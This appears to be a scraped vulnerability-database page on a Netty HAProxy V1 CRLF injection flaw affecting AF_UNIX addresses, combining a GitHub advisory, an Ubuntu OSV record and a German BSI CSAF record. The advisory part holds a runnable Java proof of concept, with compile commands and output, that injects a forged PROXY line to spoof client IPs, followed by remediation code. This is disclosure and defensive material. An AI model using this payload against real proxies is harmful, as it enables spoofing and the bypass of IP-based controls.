static void checkAddress(String address, AddressFamily addrFamily) {\n switch (addrFamily) {\n case AF_UNIX:\n ObjectUtil.checkNotNull(address, \"address\");\n if (address.getBytes(CharsetUtil.US_ASCII).length \u003e 108) {\n throw new IllegalArgumentException(\"invalid AF_UNIX address: \" + address);\n }\n return; // ONLY checks length \u003c= 108, NO CRLF validation!\n case AF_IPv4:\n if (!NetUtil.isValidIpV4Address(address)) { ... } // Format check blocks CRLF\n case AF_IPv6:\n if (!NetUtil.isValidIpV6Address(address)) { ... } // Format check blocks CRLF\n }\n}\n```\n\nIPv4 and IPv6 addresses are validated against format rules that implicitly reject CRLF. But **AF_UNIX addresses only check `length \u003c= 108`** \u2014 any characters including CRLF are accepted.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. An application uses Netty\u0027s `HAProxyMessageEncoder` to construct HAProxy V1 protocol headers\n2. AF_UNIX (`UNIX_STREAM` or `UNIX_DGRAM`) addresses contain user-controlled input\n3. The encoded PROXY header is sent to a downstream server or load balancer\n\n**Affected use cases**:\n- PROXY protocol relays that construct AF_UNIX messages from upstream data\n- Load balancer integrations where socket paths come from configuration or external sources\n- Multi-tenant proxies that dynamically construct PROXY headers\n\n## 5. Attack Scenario\n\n### Client IP Spoofing via Second PROXY Line Injection\n\n```java\nString maliciousAddr = \"/var/run/app.sock\\r\\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80\";\n\nHAProxyMessage msg = new HAProxyMessage(\n HAProxyProtocolVersion.V1,\n HAProxyCommand.PROXY,\n HAProxyProxiedProtocol.UNIX_STREAM,\n maliciousAddr, // CRLF-injected source address\n \"/var/run/dest.sock\",\n 0, 0);\n```\n\n**Wire format sent to backend**:\n```\nPROXY UNIX_STREAM /var/run/app.sock\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\n```\n\nThe backend receives **two PROXY lines**. Depending on implementation:\n- HAProxy: may use the first line and ignore the second\n- Other implementations: may use the **second** line, treating the connection as TCP4 from `10.0.0.1`\n- This enables **client IP spoofing** \u2014 the backend believes the client is `10.0.0.1` when it\u0027s not\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (HAProxyUnixCRLFPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.haproxy.*;\nimport java.nio.charset.StandardCharsets;\n\npublic class HAProxyUnixCRLFPoC {\n public static void main(String[] args) {\n System.out.println(\"=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\\n\");\n\n String maliciousAddr = \"/var/run/app.sock\\r\\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80\";\n String destAddr = \"/var/run/dest.sock\";\n\n HAProxyMessage msg = new HAProxyMessage(\n HAProxyProtocolVersion.V1,\n HAProxyCommand.PROXY,\n HAProxyProxiedProtocol.UNIX_STREAM,\n maliciousAddr, destAddr, 0, 0);\n\n EmbeddedChannel ch = new EmbeddedChannel(HAProxyMessageEncoder.INSTANCE);\n ch.writeOutbound(msg);\n\n ByteBuf out = ch.readOutbound();\n String encoded = out.toString(StandardCharsets.UTF_8);\n out.release();\n ch.finishAndReleaseAll();\n\n System.out.println(\"Wire format:\");\n for (String line : encoded.split(\"\\n\", -1)) {\n System.out.println(\" \" + line.replace(\"\\r\", \"\\\\r\"));\n }\n\n int proxyCount = 0;\n for (String line : encoded.split(\"\\r\\n\")) {\n if (line.startsWith(\"PROXY\")) proxyCount++;\n }\n System.out.println(\"PROXY lines: \" + proxyCount);\n System.out.println(\"VULNERABLE: \" + (proxyCount \u003e 1 ? \"YES\" : \"NO\"));\n }\n}\n```\n\n### How to Compile and Run\n\n```bash\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\njavac -cp \"$JARS\" HAProxyUnixCRLFPoC.java\njava -cp \"$JARS:.\" HAProxyUnixCRLFPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\n\n[TEST 1] AF_UNIX Source Address CRLF Injection\n------------------------------------------------\n Source address: \"/var/run/app.sock\\r\\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80\"\n Wire format:\n PROXY UNIX_STREAM /var/run/app.sock\\r\n PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\\r\n\n PROXY lines found: 2\n VULNERABLE: YES - Second PROXY line injected!\n```\n\n## 7. Remediation Recommendations\n\n### Option 1: Validate AF_UNIX Addresses for CRLF\n\n```java\n// HAProxyMessage.java checkAddress() - add for AF_UNIX:\ncase AF_UNIX:\n ObjectUtil.checkNotNull(address, \"address\");\n byte[] addrBytes = address.getBytes(CharsetUtil.US_ASCII);\n if (addrBytes.length \u003e 108) {\n throw new IllegalArgumentException(\"invalid AF_UNIX address: too long\");\n }\n for (byte b : addrBytes) {\n if (b == \u0027\\r\u0027 || b == \u0027\\n\u0027) {\n throw new IllegalArgumentException(\n \"AF_UNIX address contains prohibited CRLF character\");\n }\n }\n return;\n```\n\n### Option 2: Validate in Encoder\n\n```java\n// HAProxyMessageEncoder.java encodeV1() - validate before writing:\nprivate static void validateV1Address(String address) {\n for (int i = 0; i \u003c address.length(); i++) {\n char c = address.charAt(i);\n if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027 || c == \u0027 \u0027) {\n throw new HAProxyProtocolException(\n \"V1 address contains prohibited character at index \" + i);\n }\n }\n}\n```\n\n## 8. References\n\n- [HAProxy PROXY Protocol v1 Specification](https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)",
"id": "GHSA-wh89-7897-x99h",
"modified": "2026-07-22T21:51:40Z",
"published": "2026-07-22T21:51:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-wh89-7897-x99h"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address"
}
ubuntu-cve-2026-59919
Vulnerability from osv_ubuntu
Published
2026-07-29 18:16
Modified
2026-09-10 14:29
Summary
Details
Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.136.Final and 4.2.16.Final, Netty's HAProxy encoder ( HAProxyMessageEncoder ) writes AF_UNIX source and destination socket addresses into the HAProxy V1 text protocol without validating them for CRLF characters, so an attacker who controls an AF_UNIX address can inject \r\n sequences and split the single PROXY header into multiple lines. This is possible because the V1 protocol uses CRLF as its line terminator and, unlike IPv4/IPv6 addresses whose format checks implicitly reject CRLF, AF_UNIX addresses are only validated for length (up to 108 bytes), allowing a forged second PROXY header line that spoofs the client source/destination IP to a downstream server or load balancer. The issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
Severity
5.5 (Medium)
N/A (UNKNOWN)
References
{
"affected": [
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "libnetty-java",
"binary_version": "1:3.2.6.Final-2+deb8u2ubuntu0.1~esm1"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:14.04:LTS",
"name": "netty",
"purl": "pkg:deb/ubuntu/netty@1:3.2.6.Final-2+deb8u2ubuntu0.1~esm1?arch=source\u0026distro=esm-infra-legacy/trusty"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1:3.2.6.Final-2",
"1:3.2.6.Final-2+deb8u2build0.14.04.1~esm1",
"1:3.2.6.Final-2+deb8u2ubuntu0.1~esm1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "libnetty-java",
"binary_version": "1:4.0.34-1ubuntu0.1~esm5"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:16.04:LTS",
"name": "netty",
"purl": "pkg:deb/ubuntu/netty@1:4.0.34-1ubuntu0.1~esm5?arch=source\u0026distro=esm-apps-legacy/xenial"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1:3.2.6.Final-2",
"1:4.0.32-1",
"1:4.0.33-1",
"1:4.0.34-1",
"1:4.0.34-1ubuntu0.1~esm1",
"1:4.0.34-1ubuntu0.1~esm2",
"1:4.0.34-1ubuntu0.1~esm3",
"1:4.0.34-1ubuntu0.1~esm4",
"1:4.0.34-1ubuntu0.1~esm5"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "libnetty-java",
"binary_version": "1:4.1.7-4ubuntu0.1+esm7"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:18.04:LTS",
"name": "netty",
"purl": "pkg:deb/ubuntu/netty@1:4.1.7-4ubuntu0.1+esm7?arch=source\u0026distro=esm-apps/bionic"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1:4.1.7-4",
"1:4.1.7-4ubuntu0.1~esm1",
"1:4.1.7-4ubuntu0.1",
"1:4.1.7-4ubuntu0.1+esm1",
"1:4.1.7-4ubuntu0.1+esm2",
"1:4.1.7-4ubuntu0.1+esm3",
"1:4.1.7-4ubuntu0.1+esm4",
"1:4.1.7-4ubuntu0.1+esm5",
"1:4.1.7-4ubuntu0.1+esm6",
"1:4.1.7-4ubuntu0.1+esm7"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "libnetty-java",
"binary_version": "1:4.1.45-1ubuntu0.1~esm7"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:20.04:LTS",
"name": "netty",
"purl": "pkg:deb/ubuntu/netty@1:4.1.45-1ubuntu0.1~esm7?arch=source\u0026distro=esm-apps/focal"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1:4.1.33-1",
"1:4.1.33-2",
"1:4.1.33-3",
"1:4.1.45-1",
"1:4.1.45-1ubuntu0.1~esm1",
"1:4.1.45-1ubuntu0.1~esm2",
"1:4.1.45-1ubuntu0.1~esm3",
"1:4.1.45-1ubuntu0.1~esm4",
"1:4.1.45-1ubuntu0.1~esm6",
"1:4.1.45-1ubuntu0.1~esm7"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "libnetty-java",
"binary_version": "1:4.1.48-4+deb11u2ubuntu0.2+esm1"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:22.04:LTS",
"name": "netty",
"purl": "pkg:deb/ubuntu/netty@1:4.1.48-4+deb11u2ubuntu0.2+esm1?arch=source\u0026distro=esm-apps/jammy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1:4.1.48-4",
"1:4.1.48-4+deb11u1build0.22.04.1",
"1:4.1.48-4+deb11u2build0.22.04.1",
"1:4.1.48-4+deb11u2ubuntu0.1~esm1",
"1:4.1.48-4+deb11u2ubuntu0.1~esm2",
"1:4.1.48-4+deb11u2ubuntu0.1",
"1:4.1.48-4+deb11u2ubuntu0.1+esm1",
"1:4.1.48-4+deb11u2ubuntu0.1+esm3",
"1:4.1.48-4+deb11u2ubuntu0.2",
"1:4.1.48-4+deb11u2ubuntu0.2+esm1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "libnetty-java",
"binary_version": "1:4.1.48-9ubuntu0.2+esm2"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:24.04:LTS",
"name": "netty",
"purl": "pkg:deb/ubuntu/netty@1:4.1.48-9ubuntu0.2+esm2?arch=source\u0026distro=esm-apps/noble"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1:4.1.48-7",
"1:4.1.48-8",
"1:4.1.48-9",
"1:4.1.48-9ubuntu0.1~esm1",
"1:4.1.48-9ubuntu0.1~esm2",
"1:4.1.48-9ubuntu0.1",
"1:4.1.48-9ubuntu0.1+esm1",
"1:4.1.48-9ubuntu0.1+esm3",
"1:4.1.48-9ubuntu0.2",
"1:4.1.48-9ubuntu0.2+esm1",
"1:4.1.48-9ubuntu0.2+esm2"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "libnetty-buffer-java",
"binary_version": "1:4.1.48-16ubuntu0.1~esm2"
},
{
"binary_name": "libnetty-common-java",
"binary_version": "1:4.1.48-16ubuntu0.1~esm2"
},
{
"binary_name": "libnetty-java",
"binary_version": "1:4.1.48-16ubuntu0.1~esm2"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:26.04:LTS",
"name": "netty",
"purl": "pkg:deb/ubuntu/netty@1:4.1.48-16ubuntu0.1~esm2?arch=source\u0026distro=esm-apps/resolute"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1:4.1.48-10",
"1:4.1.48-11",
"1:4.1.48-12",
"1:4.1.48-13",
"1:4.1.48-14",
"1:4.1.48-16",
"1:4.1.48-16ubuntu0.1~esm2"
]
}
],
"aliases": [],
"details": "Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.136.Final and 4.2.16.Final, Netty\u0027s HAProxy encoder (\u00a0HAProxyMessageEncoder\u00a0) writes AF_UNIX source and destination socket addresses into the HAProxy V1 text protocol without validating them for CRLF characters, so an attacker who controls an AF_UNIX address can inject \u00a0\\r\\n\u00a0 sequences and split the single PROXY header into multiple lines. This is possible because the V1 protocol uses CRLF as its line terminator and, unlike IPv4/IPv6 addresses whose format checks implicitly reject CRLF, AF_UNIX addresses are only validated for length (up to 108 bytes), allowing a forged second PROXY header line that spoofs the client source/destination IP to a downstream server or load balancer. The issue is fixed in versions 4.1.136.Final and 4.2.16.Final.",
"id": "UBUNTU-CVE-2026-59919",
"modified": "2026-09-10T14:29:56Z",
"published": "2026-07-29T18:16:00Z",
"references": [
{
"type": "REPORT",
"url": "https://ubuntu.com/security/CVE-2026-59919"
},
{
"type": "REPORT",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59919"
},
{
"type": "REPORT",
"url": "https://github.com/netty/netty/security/advisories/GHSA-wh89-7897-x99h"
}
],
"related": [],
"schema_version": "1.7.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "medium",
"type": "Ubuntu"
}
],
"upstream": [
"CVE-2026-59919"
]
}
WID-SEC-W-2026-2425
Vulnerability from csaf_certbund - Published: 2026-07-20 22:00 - Updated: 2026-08-04 22:00Summary
Netty: Mehrere Schwachstellen
Severity
Mittel
Notes
Das BSI ist als Anbieter für die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch dafür verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgfältig im Einzelfall zu prüfen.
Produktbeschreibung: Netty ist ein asynchrones, ereignisgesteuertes Netzwerk-Anwendungs-Framework für die schnelle Entwicklung von wartbaren, hochleistungsfähigen Protokollservern und -clients.
Angriff: Ein Angreifer kann mehrere Schwachstellen in Netty ausnutzen, um Sicherheitsvorkehrungen zu umgehen, und um Daten zu manipulieren.
Betroffene Betriebssysteme: - Linux
- UNIX
Affected products
Known affected
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.2.16.Final
Open Source / Netty
|
<4.2.16.Final | ||
|
Open Source Netty <4.1.136.Final
Open Source / Netty
|
<4.1.136.Final | ||
|
Red Hat Enterprise Linux
Red Hat
|
cpe:/o:redhat:enterprise_linux:-
|
— | |
|
SUSE Linux
SUSE
|
cpe:/o:suse:suse_linux:-
|
— |
Affected products
Known affected
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Open Source Netty <4.2.16.Final
Open Source / Netty
|
<4.2.16.Final | ||
|
Open Source Netty <4.1.136.Final
Open Source / Netty
|
<4.1.136.Final | ||
|
Red Hat Enterprise Linux
Red Hat
|
cpe:/o:redhat:enterprise_linux:-
|
— | |
|
SUSE Linux
SUSE
|
cpe:/o:suse:suse_linux:-
|
— |
References
6 references
| URL | Category |
|---|---|
| https://wid.cert-bund.de/.well-known/csaf/white/2… | self |
| https://wid.cert-bund.de/portal/wid/securityadvis… | self |
| https://github.com/netty/netty/security/advisorie… | external |
| https://github.com/netty/netty/security/advisorie… | external |
| https://access.redhat.com/errata/RHSA-2026:48118 | external |
| https://lists.suse.com/pipermail/sle-security-upd… | external |
{
"document": {
"aggregate_severity": {
"text": "mittel"
},
"category": "csaf_base",
"csaf_version": "2.0",
"distribution": {
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "de-DE",
"notes": [
{
"category": "legal_disclaimer",
"text": "Das BSI ist als Anbieter f\u00fcr die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch daf\u00fcr verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgf\u00e4ltig im Einzelfall zu pr\u00fcfen."
},
{
"category": "description",
"text": "Netty ist ein asynchrones, ereignisgesteuertes Netzwerk-Anwendungs-Framework f\u00fcr die schnelle Entwicklung von wartbaren, hochleistungsf\u00e4higen Protokollservern und -clients.",
"title": "Produktbeschreibung"
},
{
"category": "summary",
"text": "Ein Angreifer kann mehrere Schwachstellen in Netty ausnutzen, um Sicherheitsvorkehrungen zu umgehen, und um Daten zu manipulieren.",
"title": "Angriff"
},
{
"category": "general",
"text": "- Linux\n- UNIX",
"title": "Betroffene Betriebssysteme"
}
],
"publisher": {
"category": "other",
"contact_details": "csaf-provider@cert-bund.de",
"name": "Bundesamt f\u00fcr Sicherheit in der Informationstechnik",
"namespace": "https://www.bsi.bund.de"
},
"references": [
{
"category": "self",
"summary": "WID-SEC-W-2026-2425 - CSAF Version",
"url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-2425.json"
},
{
"category": "self",
"summary": "WID-SEC-2026-2425 - Portal Version",
"url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2425"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-6cqp-g7gg-8hr5 vom 2026-07-20",
"url": "https://github.com/netty/netty/security/advisories/GHSA-6cqp-g7gg-8hr5"
},
{
"category": "external",
"summary": "GitHub Security Advisory GHSA-wh89-7897-x99h vom 2026-07-20",
"url": "https://github.com/netty/netty/security/advisories/GHSA-wh89-7897-x99h"
},
{
"category": "external",
"summary": "Red Hat Security Advisory RHSA-2026:48118 vom 2026-07-29",
"url": "https://access.redhat.com/errata/RHSA-2026:48118"
},
{
"category": "external",
"summary": "SUSE Security Update SUSE-SU-2026:3482-1 vom 2026-08-04",
"url": "https://lists.suse.com/pipermail/sle-security-updates/2026-August/028141.html"
}
],
"source_lang": "en-US",
"title": "Netty: Mehrere Schwachstellen",
"tracking": {
"current_release_date": "2026-08-04T22:00:00.000+00:00",
"generator": {
"date": "2026-08-05T09:03:28.374+00:00",
"engine": {
"name": "BSI-WID",
"version": "1.6.0"
}
},
"id": "WID-SEC-W-2026-2425",
"initial_release_date": "2026-07-20T22:00:00.000+00:00",
"revision_history": [
{
"date": "2026-07-20T22:00:00.000+00:00",
"number": "1",
"summary": "Initiale Fassung"
},
{
"date": "2026-07-21T22:00:00.000+00:00",
"number": "2",
"summary": "Referenz(en) aufgenommen: EUVD-2026-46998"
},
{
"date": "2026-07-29T22:00:00.000+00:00",
"number": "3",
"summary": "Neue Updates von European Union Vulnerability Database und Red Hat aufgenommen"
},
{
"date": "2026-08-04T22:00:00.000+00:00",
"number": "4",
"summary": "Neue Updates von SUSE aufgenommen"
}
],
"status": "final",
"version": "4"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "\u003c4.2.16.Final",
"product": {
"name": "Open Source Netty \u003c4.2.16.Final",
"product_id": "T056841"
}
},
{
"category": "product_version",
"name": "4.2.16.Final",
"product": {
"name": "Open Source Netty 4.2.16.Final",
"product_id": "T056841-fixed",
"product_identification_helper": {
"cpe": "cpe:/a:netty:netty:4.2.16.final"
}
}
},
{
"category": "product_version_range",
"name": "\u003c4.1.136.Final",
"product": {
"name": "Open Source Netty \u003c4.1.136.Final",
"product_id": "T056842"
}
},
{
"category": "product_version",
"name": "4.1.136.Final",
"product": {
"name": "Open Source Netty 4.1.136.Final",
"product_id": "T056842-fixed",
"product_identification_helper": {
"cpe": "cpe:/a:netty:netty:4.1.136.final"
}
}
}
],
"category": "product_name",
"name": "Netty"
}
],
"category": "vendor",
"name": "Open Source"
},
{
"branches": [
{
"category": "product_name",
"name": "Red Hat Enterprise Linux",
"product": {
"name": "Red Hat Enterprise Linux",
"product_id": "67646",
"product_identification_helper": {
"cpe": "cpe:/o:redhat:enterprise_linux:-"
}
}
}
],
"category": "vendor",
"name": "Red Hat"
},
{
"branches": [
{
"category": "product_name",
"name": "SUSE Linux",
"product": {
"name": "SUSE Linux",
"product_id": "T054646",
"product_identification_helper": {
"cpe": "cpe:/o:suse:suse_linux:-"
}
}
}
],
"category": "vendor",
"name": "SUSE"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-56746",
"product_status": {
"known_affected": [
"T056841",
"T056842",
"67646",
"T054646"
]
},
"release_date": "2026-07-20T22:00:00.000+00:00",
"title": "CVE-2026-56746"
},
{
"cve": "CVE-2026-59919",
"product_status": {
"known_affected": [
"T056841",
"T056842",
"67646",
"T054646"
]
},
"release_date": "2026-07-20T22:00:00.000+00:00",
"title": "CVE-2026-59919"
}
]
}
Loading…
Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…